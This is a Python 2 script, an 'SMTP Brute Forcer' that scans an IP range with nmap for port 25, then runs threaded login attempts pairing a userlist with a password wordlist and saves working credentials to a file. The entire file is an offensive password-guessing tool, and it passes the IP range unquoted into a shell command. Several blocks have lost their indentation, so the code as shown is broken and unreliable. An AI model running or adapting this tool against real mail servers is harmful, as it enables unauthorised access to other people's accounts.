#!usr/bin/python
#Smtp Brute Forcer, searches ip_range for hosts using smtp.
#d3hydr8[at]gmail[dot]com, ZeroCold

import threading, time, StringIO, commands, random, sys, smtplib, re, socket
from smtplib import SMTP
from copy import copy

def usage():
    print "\t| Example: ./smtpscan.py 192.168.1.100-200 users.txt passes.txt     |"
    print "\t| Usage: ./smtpscan.py <ip_range> <userlist> <wordlist>      |"
    sys.exit(1)

def banner():
    print "\n\n\t|###### smtpBruteForcer v2.0 ######|"
    print "\t| ZeroCold update      |"
    print "\t| Credits: #d3hydr8[at]gmail[dot]com      |"
    print "\t|######|\n\n"

if len(sys.argv) !=4:
    usage()

try:
    users = open(sys.argv[2], "r").readlines()
except(IOError):
    print "Error: Check your userlist path\n"
    sys.exit(1)

try:
    words = open(sys.argv[3], "r").readlines()
except(IOError):
    print "Error: Check your wordlist path\n"
    sys.exit(1)

banner()
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:","(%s)" % sys.argv[2],len(users)
print "[+] Words Loaded:","(%s)" % sys.argv[3],len(words)

wordlist = copy(words)

def scan():
    iprange = sys.argv[1]
    ip_list = []

    try:
      nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 25')[1]).readlines()
    except:
      print "nmap error!"

    for tmp in nmap:
      ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
      if ipaddr:
      ip_list.append(ipaddr[0])
    return ip_list

def reloader():
    for word in wordlist:
      words.append(word)

def getword():
    lock = threading.Lock()
    lock.acquire()
    if len(words) != 0:
      value = random.sample(words,  1)
      words.remove(value[0])

    else:
      reloader()
      value = random.sample(words,  1)

    lock.release()
    return value[0][:-1]

class Workhorse(threading.Thread):

    def run(self):
      value = getword()
      try:
      print "-"*12
      print "IP: ", ip, "User: ", user, "Password: ", value
      smtp = smtplib.SMTP(ip)
      smtp.login(user[:-1], value)
      print "\t\nLogin successful:",user, value
      good = "IP: %s, User: %s, Pass: %s\n" % (ip, user, value)
      f = open("goodSMTP.txt","a")
      f.write(good)
      f.close()
      smtp.quit()
      work.join()
      sys.exit(2)
      except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
      pass

ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"

for ip in ip_list:
    print "\n\tAttempting BruteForce:",ip,"\n"

    try:
      helo = smtplib.SMTP(ip, timeout=10)
      print helo.helo(), "\n"
      helo.quit()
    except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
      print "\tServer doesn't support the Helo cmd\n"

    print "Brute forcing..."

    for user in users:
      for i in range(len(words)):
      if i == 0: reloader()
      work = Workhorse()
      work.start()
      time.sleep(2)